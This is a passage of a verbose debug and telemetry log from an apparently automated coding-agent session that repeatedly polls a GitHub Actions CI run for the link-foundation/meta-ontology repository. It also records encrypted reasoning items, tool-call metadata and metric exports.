[INFO] \n[2026-07-12T04:08:59.878Z] [INFO] 2026-07-12T04:08:59.877607Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53135b54388191862a5e7711049f39\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNb1slvnxO4rbdMGdILfKGjp3qozpuYW2tZorQYRNDgvActd-hxCNfFBivlrQM0aPn5hC0F42gaLKXTb5kc8PmId4bxhfefZCAEHtIlnsYHkbF8qsv7ye_SEA78eiRDT5YRdQ8LeD65FT1hFuwXXK4plao-nuaHXWrEhQehc7V3ysVOYa8nqP6e3xodIUYKxwv9lqPOvus0_UiV8PTZHkPGtTQdpeDaLnpXIVXfagit4xmRmWB887URlaSRSm5C8jviPtT9J8J9ZSjxsVDHEohS25r1XUzqZTwdd0J7HyfBUnr81GAXQ-t99qC0bJsCj6ku4TeIS-B34jnK16nIYXedCz9fUG-OFmPGDTJjDrZ615tSu5bq4Dh4bjzSMe_hJ5MWG_JnQkW8_U9qnQqpscmsFHQe9nZjDF27FN13rY86Q5z_05OJ1dsjpD_6RCxHWVfejGPtWUcVAlRMQwqhS2r4Tqwj3tuThNYMPGV0qSfuHwzOl3bq1f0ZG5RboikrEVtip1nEU6eD6v293XPX5ad7H0ZXNz38V1GYqO8aq_oflnAgstiRtV2Mc0SxeayTjvLrURMZvuuW3zZEXv8kLNycx5duRRfppGPFl3pruTAmcaMLXW-x0CdWe9DiELvtoPNef6AitsvI5mIftpEZgNwRgvkRwuYPdQj6xbWFFxyGuj2L3KdRUdURa4xmrhVmp3tEoGbndqNxrut53XuJ-o_LZUZnSveY2m0OcV5xKSjHnkTea7d_1HIsSA3dAEUMLxYPMl3O8XNA-a39iUYPAaXlfikmCb1jfK-Pz8wlHrPXoN1Iu6dJQxz9qUs6fFtvmgdNaHOy_711gQmr5N-DhLWF8JAZyqH71cvU5c-gQqAKMv7QeFdwAlfpBS8Uvgz_L5xxgDW-J066iz-r-3vDf5uUeWzwxP9xojTNabWtfx-MLvo=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:59.878Z] [INFO] \n[2026-07-12T04:08:59.884Z] [INFO] 2026-07-12T04:08:59.879633Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=FunctionCall { id: Some(\"fc_0e255b39bbad6b0b016a53135bdaac819186b5175422b30908\"), name: \"wait\", namespace: None, arguments: \"\", call_id: \"call_DtzS2tjtjUGcDZfpSe7TZcQK\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:59.884Z] [INFO] \n[2026-07-12T04:09:00.203Z] [INFO] 2026-07-12T04:09:00.202621Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: wait {\"cell_id\":\"24\",\"yield_time_ms\":30000,\"max_tokens\":20000} thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:09:00.203Z] [INFO] \n[2026-07-12T04:09:00.338Z] [INFO] 2026-07-12T04:09:00.337701Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53135a30b08191a000a5e66aa5143e\"\n[2026-07-12T04:09:00.338Z] [INFO] \n[2026-07-12T04:09:00.343Z] [INFO] 2026-07-12T04:09:00.337754Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=79293 output_token_count=40 cached_token_count=78592 reasoning_token_count=7 tool_token_count=79333 ttft_ms=2343 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:00.337Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:00.343Z] [INFO] 2026-07-12T04:09:00.339601Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=79293 output_token_count=40 cached_token_count=78592 reasoning_token_count=7 tool_token_count=79333 ttft_ms=2343 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:00.339Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:00.343Z] [INFO] \n[2026-07-12T04:09:13.062Z] [INFO] 2026-07-12T04:09:13.051966Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:09:13.062Z] [INFO] 2026-07-12T04:09:13.052143Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:09:13.062Z] [INFO] 2026-07-12T04:09:13.053543Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=9 time_taken_in_millis=1\n[2026-07-12T04:09:13.062Z] [INFO] \n[2026-07-12T04:09:13.077Z] [INFO] 2026-07-12T04:09:13.065315Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:09:13.077Z] [INFO] 2026-07-12T04:09:13.065392Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:09:13.077Z] [INFO] 2026-07-12T04:09:13.065991Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:09:13.077Z] [INFO] \n[2026-07-12T04:09:13.110Z] [INFO] 2026-07-12T04:09:13.109057Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:09:13.110Z] [INFO] 2026-07-12T04:09:13.109337Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:09:13.110Z] [INFO] 2026-07-12T04:09:13.109400Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:09:13.110Z] [INFO] 2026-07-12T04:09:13.109416Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59942\n[2026-07-12T04:09:13.110Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] 2026-07-12T04:09:17.145934Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-b81d59f8-94a0-40c6-86d8-3a8b655966f8 arguments={\"cmd\":\"gh run watch 29179259847 --repo link-foundation/meta-ontology --exit-status\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000} duration_ms=30188 success=true output=Chunk ID: 4ded24\n[2026-07-12T04:09:17.149Z] [INFO] Wall time: 30.0021 seconds\n[2026-07-12T04:09:17.149Z] [INFO] Process running with session ID 81385\n[2026-07-12T04:09:17.149Z] [INFO] Original token count: 1489\n[2026-07-12T04:09:17.149Z] [INFO] Output:\n[2026-07-12T04:09:17.149Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:17.149Z] [INFO] Triggered via pull_request less than a minute ago\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] JOBS\n[2026-07-12T04:09:17.149Z] [INFO] * Detect Changes (ID 86613875688)\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.149Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.149Z] [INFO]   * Detect changes\n[2026-07-12T04:09:17.149Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO] * Version Modification Check (ID 86613875700)\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.149Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.149Z] [INFO]   * Check for manual version changes\n[2026-07-12T04:09:17.149Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:09:17.149Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:17.149Z] [INFO] Triggered via pull_request less than a minute ago\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] JOBS\n[2026-07-12T04:09:17.149Z] [INFO] * Detect Changes (ID 86613875688)\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.149Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.149Z] [INFO]   * Detect changes\n[2026-07-12T04:09:17.149Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO] * Version Modification Check (ID 86613875700)\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:17.149Z] [INFO]   * Check for manual version changes\n[2026-07-12T04:09:17.149Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:09:17.149Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:17.149Z] [INFO] Triggered via pull_request less than a minute ago\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.149Z] [INFO] JOBS\n[2026-07-12T04:09:17.149Z] [INFO] * Detect Changes (ID 86613875688)\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.149Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.149Z] [INFO]   * Detect changes\n[2026-07-12T04:09:17.149Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO] * Version Modification Check (ID 86613875700)\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.149Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.149Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:09:17.145Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:17.149Z] [INFO] 2026-07-12T04:09:17.146168Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-b81d59f8-94a0-40c6-86d8-3a8b655966f8 duration_ms=30188 success=true arguments_length=180 output_length=1883 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:09:17.146Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:17.149Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] 2026-07-12T04:09:17.178692Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=wait call_id=call_DtzS2tjtjUGcDZfpSe7TZcQK arguments={\"cell_id\":\"24\",\"yield_time_ms\":30000,\"max_tokens\":20000} duration_ms=16975 success=true output=Script completed\n[2026-07-12T04:09:17.180Z] [INFO] Wall time 17.0 seconds\n[2026-07-12T04:09:17.180Z] [INFO] Output:\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:17.180Z] [INFO] Triggered via pull_request less than a minute ago\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] JOBS\n[2026-07-12T04:09:17.180Z] [INFO] * Detect Changes (ID 86613875688)\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.180Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.180Z] [INFO]   * Detect changes\n[2026-07-12T04:09:17.180Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO] * Version Modification Check (ID 86613875700)\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.180Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.180Z] [INFO]   * Check for manual version changes\n[2026-07-12T04:09:17.180Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:09:17.180Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:17.180Z] [INFO] Triggered via pull_request less than a minute ago\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] JOBS\n[2026-07-12T04:09:17.180Z] [INFO] * Detect Changes (ID 86613875688)\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.180Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.180Z] [INFO]   * Detect changes\n[2026-07-12T04:09:17.180Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO] * Version Modification Check (ID 86613875700)\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:17.180Z] [INFO]   * Check for manual version changes\n[2026-07-12T04:09:17.180Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:09:17.180Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:17.180Z] [INFO] Triggered via pull_request less than a minute ago\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.180Z] [INFO] JOBS\n[2026-07-12T04:09:17.180Z] [INFO] * Detect Changes (ID 86613875688)\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.180Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:17.180Z] [INFO]   * Detect changes\n[2026-07-12T04:09:17.180Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO] * Version Modification Check (ID 86613875700)\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:17.180Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:17.180Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:09:17.178Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:17.180Z] [INFO] 2026-07-12T04:09:17.178795Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=wait call_id=call_DtzS2tjtjUGcDZfpSe7TZcQK duration_ms=16975 success=true arguments_length=57 output_length=1841 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:09:17.178Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:17.180Z] [INFO] 2026-07-12T04:09:17.179400Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=wait call_id=call_DtzS2tjtjUGcDZfpSe7TZcQK tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=16975 total_duration_ms=16976\n[2026-07-12T04:09:17.180Z] [INFO] \n[2026-07-12T04:09:17.265Z] [INFO] 2026-07-12T04:09:17.264120Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:09:17.265Z] [INFO] \n[2026-07-12T04:09:17.287Z] [INFO] 2026-07-12T04:09:17.286873Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:09:17.286Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:17.287Z] [INFO] \n[2026-07-12T04:09:17.291Z] [INFO] 2026-07-12T04:09:17.287569Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:09:17.287Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:17.291Z] [INFO] \n[2026-07-12T04:09:17.303Z] [INFO] 2026-07-12T04:09:17.287869Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:09:17.303Z] [INFO] \n[2026-07-12T04:09:18.122Z] [INFO] 2026-07-12T04:09:18.120273Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53136e11a08191ae6e2c2e21f8c615\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNuDb-LtbnXC5vbkv36TsKTMVpXCbEbXOsD9J3z08ZA8td73F3_70npC6yOavLH0MPGARBSgyw_SxzCGdlfYpYNqMA7Zwo6nPJfJk4rGGC2KNvEAHyl72GI3XA8NQiCh435NnBXVJhX1a6zyW9416aFISq6Z7CyOIOPPh46_5IY_pWzwJiOCMkiErFZuDtKIigrU9myxytGvQtW63jppypbPUy_SlflLkqtBiIAcwgvOsoPgGWL9oipRN3JW-sr8PnlsKcYVRtuIBILFkwkGN2QcksTMGQr0mCONHhFCV3fq4evZyGLtaA1XhJ-rftkgmQU_HCyuxQzYVJvKScJN5pqjTdGioly-itP_8THLo5fuKLbGEJITYGW3jMOsjdQwlgg8iQ7qNekREz8wrQbFYL4EQGkHn0lZsP6spELi9Urq1l6vZdH1H3mRjBv9EwCdJODCeiejsLo3B0rAIru4SvXJx2LuR8OZlwTRTpOUytIobkU41RAwQrfJxvhWoQycx4y8kF4wLv2NBCkmNP4wc2SneAkuyu5a7p3fdNrsagWJbDTnaCFZjM8COd3Kolf4EoxwfOC7bopZ-vyGKcmj-W6DA6ur-BYuErsr9qWulsNuMiLqyA1urjkR1e1gHRJ8Hhlo4Dj-8VJf-LlUk-9JkGbYbJmBkBsGOW9Dxptz2qwe33ABNzf2bDFYX7lHGx4jK_tCwsXqp02pC_oUo90kB7WGadWp6uuwZblPr4Dur_7XwSqTKllNeS1b5he1yGuyfUjD8M4CmLg_XzYrL0MJqZpkmFYaRQwRXf53-F25rPql4BIfP9j8nL8Qc5KhpFD55MFECjJRtoAkAv8wIgTwATzTBgY7K2t74Chp3P6cjEE86H1JWAaPhq4W-nPE6s1YEtdDZIcV1JH78cCnBvVpFDoEQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:18.122Z] [INFO] \n[2026-07-12T04:09:18.571Z] [INFO] 2026-07-12T04:09:18.570875Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" 